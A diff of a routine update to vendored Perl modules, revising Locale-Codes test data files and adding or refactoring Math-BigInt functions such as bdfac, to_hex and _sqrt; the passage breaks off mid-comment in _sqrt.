Modified: vendor/perl/dist/cpan/Locale-Codes/t/testfunc.pl
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/testfunc.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/testfunc.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #!/usr/bin/perl -w
-# Copyright (c) 1996-2016 Sullivan Beck. All rights reserved.
+# Copyright (c) 1996-2018 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 

Deleted: vendor/perl/dist/cpan/Locale-Codes/t/vals.pl
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/vals.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/vals.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,212 +0,0 @@
-#!/usr/bin/perl
-# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
-# This program is free software; you can redistribute it and/or modify it
-# under the same terms as Perl itself.
-
-use warnings;
-use strict;
-no strict 'subs';
-no strict 'refs';
-
-$::generic_tests = '';
-
-eval "use $::module";
-
-sub test {
-   my    ($op, at test) = @_;
-
-   if ($op eq '2code') {
-      my $code = &{ "${::type}2code" }(@test);
-      return ($code ? lc($code) : $code);
-   } elsif ($op eq '2name') {
-      return &{ "code2${::type}" }(@test)
-   } elsif ($op eq '_code2code') {
-      my $code = &{ "${::type}_code2code" }(@test,"nowarn");
-      return ($code ? lc($code) : $code);
-
-   } elsif ($op eq 'all_codes') {
-      my $n;
-      if ($test[$#test] =~ /^\d+$/) {
-         $n = pop(@test);
-      }
-
-      my @tmp = &{ "all_${::type}_codes" }(@test);
-      if ($n  &&  @tmp > $n) {
-         return @tmp[0..($n-1)];
-      } else {
-         return @tmp;
-      }
-   } elsif ($op eq 'all_names') {
-      my $n;
-      if ($test[$#test] =~ /^\d+$/) {
-         $n = pop(@test);
-      }
-
-      my @tmp = &{ "all_${::type}_names" }(@test);
-      if ($n  &&  @tmp > $n) {
-         return @tmp[0..($n-1)];
-      } else {
-         return @tmp;
-      }
-
-   } elsif ($op eq 'rename') {
-      return &{ "${::module}::rename_${::type}" }(@test,"nowarn")
-   } elsif ($op eq 'add') {
-      return &{ "${::module}::add_${::type}" }(@test,"nowarn")
-   } elsif ($op eq 'delete') {
-      return &{ "${::module}::delete_${::type}" }(@test,"nowarn")
-   } elsif ($op eq 'add_alias') {
-      return &{ "${::module}::add_${::type}_alias" }(@test,"nowarn")
-   } elsif ($op eq 'delete_alias') {
-      return &{ "${::module}::delete_${::type}_alias" }(@test,"nowarn")
-   } elsif ($op eq 'rename_code') {
-      return &{ "${::module}::rename_${::type}_code" }(@test,"nowarn")
-   } elsif ($op eq 'add_code_alias') {
-      return &{ "${::module}::add_${::type}_code_alias" }(@test,"nowarn")
-   } elsif ($op eq 'delete_code_alias') {
-      return &{ "${::module}::delete_${::type}_code_alias" }(@test,"nowarn")
-   }
-}
-
-$::generic_tests = "
-#################
-
-2code
-_undef_
-   _undef_
-
-2code
-   _undef_
-
-2code
-_blank_
-   _undef_
-
-2code
-UnusedName
-   _undef_
-
-2code
-   _undef_
-
-2code
-_undef_
-   _undef_
-
-2name
-_undef
-   _undef_
-
-2name
-   _undef_
-
-###
-
-add
-AAA
-newCode
-   1
-
-2code
-newCode
-   aaa
-
-delete
-AAA
-   1
-
-2code
-newCode
-   _undef_
-
-###
-
-add
-AAA
-newCode
-   1
-
-rename
-AAA
-newCode2
-   1
-
-2code
-newCode
-   aaa
-
-2code
-newCode2
-   aaa
-
-###
-
-add_alias
-newCode2
-newAlias
-   1
-
-2code
-newAlias
-   aaa
-
-delete_alias
-newAlias
-   1
-
-2code
-newAlias
-   _undef_
-
-###
-
-rename_code
-AAA
-BBB
-   1
-
-2name
-AAA
-   newCode2
-
-2name
-BBB
-   newCode2
-
-###
-
-add_code_alias
-BBB
-CCC
-   1
-
-2name
-BBB
-   newCode2
-
-2name
-CCC
-   newCode2
-
-delete_code_alias
-CCC
-   1
-
-2name
-CCC
-   _undef_
-
-";
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
-

Modified: vendor/perl/dist/cpan/Locale-Codes/t/vals_country.pl
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/vals_country.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/vals_country.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
@@ -6,7 +6,7 @@
 use warnings;
 use strict;
 
-$::tests = $::generic_tests;
+$::tests = '';
 
 $::tests = "
 ##################
@@ -209,7 +209,7 @@
 alpha-2
 not_retired
 other_arg
-   _undef_
+   Japan
 
 2name
 jp
@@ -407,92 +407,92 @@
    _undef_
 
 ##################
-# country_code2code
+# countrycode2code
 
-_code2code
+code2code
 bo
 alpha-2
 alpha-2
    bo
 
-_code2code
+code2code
 bo
 alpha-3
 alpha-3
    _undef_
 
-_code2code
+code2code
 zz
 alpha-2
 alpha-3
    _undef_
 
-_code2code
+code2code
 zz
 alpha-3
 alpha-3
    _undef_
 
-_code2code
+code2code
 zz
 alpha-2
 0
    _undef_
 
-_code2code
+code2code
 bo
 alpha-2
 0
    _undef_
 
-_code2code
+code2code
 _blank_
 0
 0
    _undef_
 
-_code2code
+code2code
 BO
 alpha-2
 alpha-3
    bol
 
-_code2code
+code2code
 bol
 alpha-3
 alpha-2
    bo
 
-_code2code
+code2code
 zwe
 alpha-3
 alpha-2
    zw
 
-_code2code
+code2code
 858
 numeric
 alpha-3
    ury
 
-_code2code
+code2code
 858
 numeric
 alpha-3
    ury
 
-_code2code
+code2code
 tr
 alpha-2
 numeric
    792
 
-_code2code
+code2code
 tr
 alpha-2
-   _undef_
+   tr
 
-_code2code
+code2code
    _undef_
 
 ###################################
@@ -676,7 +676,7 @@
 alpha-3
    NameA2
 
-_code2code
+code2code
 z1
 alpha-2
 alpha-3
@@ -724,7 +724,7 @@
 alpha-3
    NameB2
 
-_code2code
+code2code
 z2
 alpha-2
 alpha-3
@@ -778,7 +778,7 @@
    0
 
 ###################################
-# Test rename_code
+# Test replace_code
 
 2name
 zz
@@ -792,17 +792,17 @@
 Argentina
    ar
 
-rename_code
+replace_code
 ar
 us
    0
 
-rename_code
+replace_code
 ar
 zz
    1
 
-rename_code
+replace_code
 us
 ar
    0
@@ -819,7 +819,7 @@
 Argentina
    zz
 
-rename_code
+replace_code
 zz
 ar
    1
@@ -836,13 +836,13 @@
 Argentina
    ar
 
-rename_code
+replace_code
 ar
 z2
 foo
    0
 
-rename_code
+replace_code
 ar
 z2
 alpha-3
@@ -953,8 +953,6 @@
 bm
 foo
    0
-
-$::generic_tests
 ";
 
 1;

Modified: vendor/perl/dist/cpan/Locale-Codes/t/vals_currency.pl
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/vals_currency.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/vals_currency.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
@@ -6,11 +6,10 @@
 use warnings;
 use strict;
 
-$::tests = $::generic_tests;
+$::tests = '';
 
 $::tests = "
 
-
 2code
 Canadian Dollar
    cad
@@ -35,7 +34,7 @@
 KHR
    Riel
 
-_code2code
+code2code
 BZD
 alpha
 num
@@ -58,10 +57,6 @@
    Boliviano
 
 2name
-byr
-   Belarusian Ruble
-
-2name
 chf
    Swiss Franc
 
@@ -117,7 +112,6 @@
    ADB Unit of Account
    Afghani
 
-$::generic_tests
 ";
 
 1;

Added: vendor/perl/dist/cpan/Locale-Codes/t/vals_error.pl
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/vals_error.pl	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/vals_error.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,52 @@
+#!/usr/bin/perl
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# This program is free software; you can redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use warnings;
+use strict;
+
+$::tests = '';
+
+$::tests = "
+all_names
+foo
+2
+   ~
+   ERROR: _code: invalid codeset provided: foo
+
+2name
+zz
+   ~
+   ERROR: _code: code not in codeset: zz [alpha-2]
+
+type
+zz
+   ~
+   ERROR: type: invalid argument: zz
+
+2name
+aaa
+numeric
+   ~
+   ERROR: _code: invalid numeric code: aaa
+
+codeset
+zz
+   ~
+   ERROR: codeset: invalid argument: zz
+
+";
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
+

Modified: vendor/perl/dist/cpan/Locale-Codes/t/vals_langext.pl
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/vals_langext.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/vals_langext.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
@@ -6,7 +6,7 @@
 use warnings;
 use strict;
 
-$::tests = $::generic_tests;
+$::tests = '';
 
 $::tests = "
 
@@ -18,7 +18,7 @@
 acm
    Mesopotamian Arabic
 
-_code2code
+code2code
 ACM
 alpha
 alpha
@@ -36,7 +36,6 @@
    Adamorobe Sign Language
    Afghan Sign Language
 
-$::generic_tests
 ";
 
 1;

Modified: vendor/perl/dist/cpan/Locale-Codes/t/vals_langfam.pl
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/vals_langfam.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/vals_langfam.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
@@ -6,7 +6,7 @@
 use warnings;
 use strict;
 
-$::tests = $::generic_tests;
+$::tests = '';
 
 $::tests = "
 
@@ -19,7 +19,7 @@
 apa
    Apache languages
 
-_code2code
+code2code
 apa
 alpha
 alpha
@@ -37,7 +37,6 @@
    Afro-Asiatic languages
    Alacalufan languages
 
-$::generic_tests
 ";
 
 1;

Modified: vendor/perl/dist/cpan/Locale-Codes/t/vals_language.pl
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/vals_language.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/vals_language.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
@@ -6,7 +6,7 @@
 use warnings;
 use strict;
 
-$::tests = $::generic_tests;
+$::tests = '';
 
 $::tests = "
 
@@ -289,14 +289,12 @@
 za
    Zhuang
 
-_code2code
+code2code
 zu
 alpha-2
 alpha-3
    zul
 
-
-$::generic_tests
 ";
 
 1;

Modified: vendor/perl/dist/cpan/Locale-Codes/t/vals_langvar.pl
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/vals_langvar.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/vals_langvar.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
@@ -6,7 +6,7 @@
 use warnings;
 use strict;
 
-$::tests = $::generic_tests;
+$::tests = '';
 
 $::tests = "
 
@@ -18,7 +18,7 @@
 arevela
    Eastern Armenian
 
-_code2code
+code2code
 arevela
 alpha
 alpha
@@ -36,7 +36,6 @@
    \"Academic\" (\"governmental\") variant of Belarusian as codified in 1959
    ALA-LC Romanization, 1997 edition
 
-$::generic_tests
 ";
 
 1;

Modified: vendor/perl/dist/cpan/Locale-Codes/t/vals_script.pl
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/vals_script.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/vals_script.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #!/usr/bin/perl
-# Copyright (c) 2016-2016 Sullivan Beck. All rights reserved.
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
@@ -6,8 +6,7 @@
 use warnings;
 use strict;
 
-$::tests = $::generic_tests;
-
+$::tests = '';
 $::tests = "
 
 2code
@@ -32,7 +31,7 @@
 num
    Phoenician
 
-_code2code
+code2code
 Phnx
 alpha
 num
@@ -50,8 +49,6 @@
    Adlam
    Afaka
 
-
-$::generic_tests
 ";
 
 1;

Modified: vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigFloat.pm
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigFloat.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigFloat.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -19,7 +19,7 @@
 use Carp ();
 use Math::BigInt ();
 
-our $VERSION = '1.999806';
+our $VERSION = '1.999811';
 
 require Exporter;
 our @ISA        = qw/Math::BigInt/;
@@ -529,6 +529,7 @@
 
     if ($str =~ s/
                      ^
+                     \s*
 
                      # sign
                      ( [+-]? )
@@ -555,6 +556,7 @@
                          ( \d+ (?: _ \d+ )* )
                      )?
 
+                     \s*
                      $
                  //x)
     {
@@ -618,6 +620,7 @@
 
     if ($str =~ s/
                      ^
+                     \s*
 
                      # sign
                      ( [+-]? )
@@ -641,6 +644,7 @@
                          ( \d+ (?: _ \d+ )* )
                      )?
 
+                     \s*
                      $
                  //x)
     {
@@ -704,6 +708,7 @@
 
     if ($str =~ s/
                      ^
+                     \s*
 
                      # sign
                      ( [+-]? )
@@ -730,6 +735,7 @@
                          ( \d+ (?: _ \d+ )* )
                      )?
 
+                     \s*
                      $
                  //x)
     {
@@ -2137,17 +2143,25 @@
 }
 
 sub blog {
-    my ($class, $x, $base, $a, $p, $r) = ref($_[0]) ? (ref($_[0]), @_) : objectify(2, @_);
+    # Return the logarithm of the operand. If a second operand is defined, that
+    # value is used as the base, otherwise the base is assumed to be Euler's
+    # constant.
 
-    # If called as $x -> blog() or $x -> blog(undef), don't objectify the
-    # undefined base, since undef signals that the base is Euler's number.
-    #unless (ref($x) && !defined($base)) {
-    #    # objectify is costly, so avoid it
-    #    if ((!ref($_[0])) || (ref($_[0]) ne ref($_[1]))) {
-    #        ($class, $x, $base, $a, $p, $r) = objectify(2, @_);
-    #    }
-    #}
+    my ($class, $x, $base, $a, $p, $r);
 
+    # Don't objectify the base, since an undefined base, as in $x->blog() or
+    # $x->blog(undef) signals that the base is Euler's number.
+
+    if (!ref($_[0]) && $_[0] =~ /^[A-Za-z]|::/) {
+        # E.g., Math::BigFloat->blog(256, 2)
+        ($class, $x, $base, $a, $p, $r) =
+          defined $_[2] ? objectify(2, @_) : objectify(1, @_);
+    } else {
+        # E.g., Math::BigFloat::blog(256, 2) or $x->blog(2)
+        ($class, $x, $base, $a, $p, $r) =
+          defined $_[1] ? objectify(2, @_) : objectify(1, @_);
+    }
+
     return $x if $x->modify('blog');
 
     return $x -> bnan() if $x -> is_nan();
@@ -3226,7 +3240,6 @@
       if (($x->{sign} ne '+') || # inf, NaN, <0 etc => NaN
           ($x->{_es} ne '+'));   # digits after dot?
 
-    # use BigInt's bfac() for faster calc
     if (! $MBI->_is_zero($x->{_e})) {
         $x->{_m} = $MBI->_lsft($x->{_m}, $x->{_e}, 10); # change 12e1 to 120e0
         $x->{_e} = $MBI->_zero();           # normalize
@@ -3236,6 +3249,33 @@
     $x->bnorm()->round(@r);     # norm again and round result
 }
 
+sub bdfac {
+    # compute double factorial
+
+    # set up parameters
+    my ($class, $x, @r) = (ref($_[0]), @_);
+    # objectify is costly, so avoid it
+    ($class, $x, @r) = objectify(1, @_) if !ref($x);
+
+    # inf => inf
+    return $x if $x->modify('bfac') || $x->{sign} eq '+inf';
+
+    return $x->bnan()
+      if (($x->{sign} ne '+') || # inf, NaN, <0 etc => NaN
+          ($x->{_es} ne '+'));   # digits after dot?
+
+    Carp::croak("bdfac() requires a newer version of the $MBI library.")
+        unless $MBI->can('_dfac');
+
+    if (! $MBI->_is_zero($x->{_e})) {
+        $x->{_m} = $MBI->_lsft($x->{_m}, $x->{_e}, 10); # change 12e1 to 120e0
+        $x->{_e} = $MBI->_zero();           # normalize
+        $x->{_es} = '+';
+    }
+    $x->{_m} = $MBI->_dfac($x->{_m});       # calculate factorial
+    $x->bnorm()->round(@r);     # norm again and round result
+}
+
 sub blsft {
     # shift left by $y (multiply by $b ** $y)
 
@@ -3999,8 +4039,63 @@
     return $mant . 'e' . $esgn . $eabs;
 }
 
+sub to_hex {
+    # return number as hexadecimal string (only for integers defined)
+
+    my ($class, $x) = ref($_[0]) ? (ref($_[0]), $_[0]) : objectify(1, @_);
+
+    return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
+    return '0' if $x->is_zero();
+
+    return $nan if $x->{_es} ne '+';    # how to do 1e-1 in hex?
+
+    my $z = $MBI->_copy($x->{_m});
+    if (! $MBI->_is_zero($x->{_e})) {   # > 0
+        $z = $MBI->_lsft($z, $x->{_e}, 10);
+    }
+    my $str = $MBI->_to_hex($z);
+    return $x->{sign} eq '-' ? "-$str" : $str;
+}
+
+sub to_oct {
+    # return number as octal digit string (only for integers defined)
+
+    my ($class, $x) = ref($_[0]) ? (ref($_[0]), $_[0]) : objectify(1, @_);
+
+    return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
+    return '0' if $x->is_zero();
+
+    return $nan if $x->{_es} ne '+';    # how to do 1e-1 in octal?
+
+    my $z = $MBI->_copy($x->{_m});
+    if (! $MBI->_is_zero($x->{_e})) {   # > 0
+        $z = $MBI->_lsft($z, $x->{_e}, 10);
+    }
+    my $str = $MBI->_to_oct($z);
+    return $x->{sign} eq '-' ? "-$str" : $str;
+}
+
+sub to_bin {
+    # return number as binary digit string (only for integers defined)
+
+    my ($class, $x) = ref($_[0]) ? (ref($_[0]), $_[0]) : objectify(1, @_);
+
+    return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
+    return '0' if $x->is_zero();
+
+    return $nan if $x->{_es} ne '+';    # how to do 1e-1 in binary?
+
+    my $z = $MBI->_copy($x->{_m});
+    if (! $MBI->_is_zero($x->{_e})) {   # > 0
+        $z = $MBI->_lsft($z, $x->{_e}, 10);
+    }
+    my $str = $MBI->_to_bin($z);
+    return $x->{sign} eq '-' ? "-$str" : $str;
+}
+
 sub as_hex {
     # return number as hexadecimal string (only for integers defined)
+
     my ($class, $x) = ref($_[0]) ? (ref($_[0]), $_[0]) : objectify(1, @_);
 
     return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
@@ -4012,16 +4107,17 @@
     if (! $MBI->_is_zero($x->{_e})) {   # > 0
         $z = $MBI->_lsft($z, $x->{_e}, 10);
     }
-    $z = Math::BigInt->new($x->{sign} . $MBI->_num($z));
-    $z->as_hex();
+    my $str = $MBI->_as_hex($z);
+    return $x->{sign} eq '-' ? "-$str" : $str;
 }
 
 sub as_oct {
     # return number as octal digit string (only for integers defined)
+
     my ($class, $x) = ref($_[0]) ? (ref($_[0]), $_[0]) : objectify(1, @_);
 
     return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
-    return '0' if $x->is_zero();
+    return '00' if $x->is_zero();
 
     return $nan if $x->{_es} ne '+';    # how to do 1e-1 in octal?
 
@@ -4029,12 +4125,13 @@
     if (! $MBI->_is_zero($x->{_e})) {   # > 0
         $z = $MBI->_lsft($z, $x->{_e}, 10);
     }
-    $z = Math::BigInt->new($x->{sign} . $MBI->_num($z));
-    $z->as_oct();
+    my $str = $MBI->_as_oct($z);
+    return $x->{sign} eq '-' ? "-$str" : $str;
 }
 
 sub as_bin {
     # return number as binary digit string (only for integers defined)
+
     my ($class, $x) = ref($_[0]) ? (ref($_[0]), $_[0]) : objectify(1, @_);
 
     return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
@@ -4046,8 +4143,8 @@
     if (! $MBI->_is_zero($x->{_e})) {   # > 0
         $z = $MBI->_lsft($z, $x->{_e}, 10);
     }
-    $z = Math::BigInt->new($x->{sign} . $MBI->_num($z));
-    $z->as_bin();
+    my $str = $MBI->_as_bin($z);
+    return $x->{sign} eq '-' ? "-$str" : $str;
 }
 
 sub numify {

Modified: vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt/Calc.pm
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt/Calc.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt/Calc.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 use Carp;
 use Math::BigInt::Lib;
 
-our $VERSION = '1.999806';
+our $VERSION = '1.999811';
 
 our @ISA = ('Math::BigInt::Lib');
 
@@ -1889,7 +1889,7 @@
 }
 
 sub _root {
-    # Take n'th root of $x in place (n >= 2)
+    # Take n'th root of $x in place.
 
     my ($c, $x, $n) = @_;
 
@@ -1915,8 +1915,8 @@
         return $x;
     }
 
-    # If $n is a power of two, we take sqrt($x) repeatedly and find the proper
-    # result, because, e.g., sqrt(sqrt($x)) == root($x, 4)
+    # If $n is a power of two, take sqrt($x) repeatedly, e.g., root($x, 4) =
+    # sqrt(sqrt($x)), root($x, 8) = sqrt(sqrt(sqrt($x))).
 
     my $b = $c -> _as_bin($n);
     if ($b =~ /0b1(0+)$/) {
@@ -2485,13 +2485,8 @@
     return $x;
 }
 
-##############################################################################
-##############################################################################
-
 1;
 
-__END__
-
 =pod
 
 =head1 NAME

Modified: vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt/CalcEmu.pm
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt/CalcEmu.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt/CalcEmu.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.999806';
+our $VERSION = '1.999811';
 
 package Math::BigInt;
 

Modified: vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt/Lib.pm
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt/Lib.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt/Lib.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.999806';
+our $VERSION = '1.999811';
 
 use Carp;
 
@@ -237,7 +237,7 @@
                 return $class -> _sqrt($class -> _copy($_[0]));
             },
 
-  'int'  => sub { $_[0] -> copy() -> bint(); },
+  'int'  => sub { $_[0] },
 
   # overload key: conversion
 
@@ -389,8 +389,7 @@
 sub _zeros {
     my ($class, $x) = @_;
     my $str = $class -> _str($x);
-    $str =~ /[^0](0*)\z/;
-    CORE::length($1);
+    $str =~ /[^0](0*)\z/ ? CORE::length($1) : 0;
 }
 
 ##############################################################################
@@ -452,12 +451,17 @@
     croak "@{[(caller 0)[3]]} requires non-zero second operand"
       if $class -> _is_zero($y);
 
-    my $r = $class -> _copy($x);
-    while ($class -> _acmp($r, $y) >= 0) {
-        $r = $class -> _sub($r, $y);
+    if ($class -> can('_div')) {
+        $x = $class -> _copy($x);
+        my ($q, $r) = $class -> _div($x, $y);
+        return $r;
+    } else {
+        my $r = $class -> _copy($x);
+        while ($class -> _acmp($r, $y) >= 0) {
+            $r = $class -> _sub($r, $y);
+        }
+        return $r;
     }
-
-    return $r;
 }
 
 ##############################################################################
@@ -477,7 +481,6 @@
 
 sub _pow {
     # power of $x to $y
-    # ref to array, ref to array, return ref to array
     my ($class, $x, $y) = @_;
 
     if ($class -> _is_zero($y)) {
@@ -511,9 +514,6 @@
 
 sub _nok {
     # Return binomial coefficient (n over k).
-    # Given refs to arrays, return ref to array.
-    # First input argument is modified.
-
     my ($class, $n, $k) = @_;
 
     # If k > n/2, or, equivalently, 2*k > n, compute nok(n, k) as
@@ -528,15 +528,19 @@
 
     # Example:
     #
-    # / 7 \       7!       1*2*3*4 * 5*6*7   5 * 6 * 7       6   7
-    # |   | = --------- =  --------------- = --------- = 5 * - * -
-    # \ 3 /   (7-3)! 3!    1*2*3*4 * 1*2*3   1 * 2 * 3       2   3
+    # / 7 \       7!       1*2*3*4 * 5*6*7   5 * 6 * 7
+    # |   | = --------- =  --------------- = --------- = ((5 * 6) / 2 * 7) / 3
+    # \ 3 /   (7-3)! 3!    1*2*3*4 * 1*2*3   1 * 2 * 3
+    #
+    # Equivalently, _nok(11, 5) is computed as
+    #
+    # (((((((7 * 8) / 2) * 9) / 3) * 10) / 4) * 11) / 5
 
     if ($class -> _is_zero($k)) {
         return $class -> _one();
     }
 
-    # Make a copy of the original n, since we'll be modifying n in-place.
+    # Make a copy of the original n, in case the subclass modifies n in-place.
 
     my $n_orig = $class -> _copy($n);
 
@@ -546,7 +550,7 @@
     $n = $class -> _inc($n);
 
     my $f = $class -> _copy($n);
-    $class -> _inc($f);
+    $f = $class -> _inc($f);
 
     my $d = $class -> _two();
 
@@ -553,14 +557,8 @@
     # while f <= n (the original n, that is) ...
 
     while ($class -> _acmp($f, $n_orig) <= 0) {
-
-        # n = (n * f / d) == 5 * 6 / 2 (cf. example above)
-
         $n = $class -> _mul($n, $f);
         $n = $class -> _div($n, $d);
-
-        # f = 7, d = 3 (cf. example above)
-
         $f = $class -> _inc($f);
         $d = $class -> _inc($d);
     }
@@ -587,10 +585,29 @@
     return $x;
 }
 
+sub _dfac {
+    # double factorial
+    my ($class, $x) = @_;
+
+    my $two = $class -> _two();
+
+    if ($class -> _acmp($x, $two) < 0) {
+        return $class -> _one();
+    }
+
+    my $i = $class -> _copy($x);
+    while ($class -> _acmp($i, $two) > 0) {
+        $i = $class -> _sub($i, $two);
+        $x = $class -> _mul($x, $i);
+    }
+
+    return $x;
+}
+
 sub _log_int {
     # calculate integer log of $x to base $base
+    # calculate integer log of $x to base $base
     # ref to array, ref to array - return ref to array
-
     my ($class, $x, $base) = @_;
 
     # X == 0 => NaN
@@ -664,177 +681,303 @@
 }
 
 sub _sqrt {
-    # square-root of $x in place
-    my ($class, $x) = @_;
+    # square-root of $y in place
+    my ($class, $y) = @_;
 
-    return $x if $class -> _is_zero($x);
+    return $y if $class -> _is_zero($y);
 
-    my $x_str = $class -> _str($x);
-    my $x_len = length($x_str);
+    my $y_str = $class -> _str($y);
+    my $y_len = length($y_str);
 
-    # Compute the guess $y.
+    # Compute the guess $x.
 
-    my $ym;
-    my $ye;
-    if ($x_len % 2 == 0) {
-        $ym = sqrt("." . $x_str);
-        $ye = $x_len / 2;
-        $ym = sprintf "%.0f", int($ym * 1e15);
-        $ye -= 15;
+    my $xm;
+    my $xe;
+    if ($y_len % 2 == 0) {
+        $xm = sqrt("." . $y_str);
+        $xe = $y_len / 2;
+        $xm = sprintf "%.0f", int($xm * 1e15);
+        $xe -= 15;
     } else {
-        $ym = sqrt(".0" . $x_str);
-        $ye = ($x_len + 1) / 2;
-        $ym = sprintf "%.0f", int($ym * 1e16);
-        $ye -= 16;
+        $xm = sqrt(".0" . $y_str);
+        $xe = ($y_len + 1) / 2;
+        $xm = sprintf "%.0f", int($xm * 1e16);
+        $xe -= 16;
     }
 
-    my $y;
-    if ($ye < 0) {
-        $y = substr $ym, 0, length($ym) + $ye;
+    my $x;
+    if ($xe < 0) {
+        $x = substr $xm, 0, length($xm) + $xe;
     } else {
-        $y = $ym . ("0" x $ye);
+        $x = $xm . ("0" x $xe);
     }
 
-    $y = $class -> _new($y);
+    $x = $class -> _new($x);
 
-    # Newton's method for computing square root of x. Generally, the algorithm
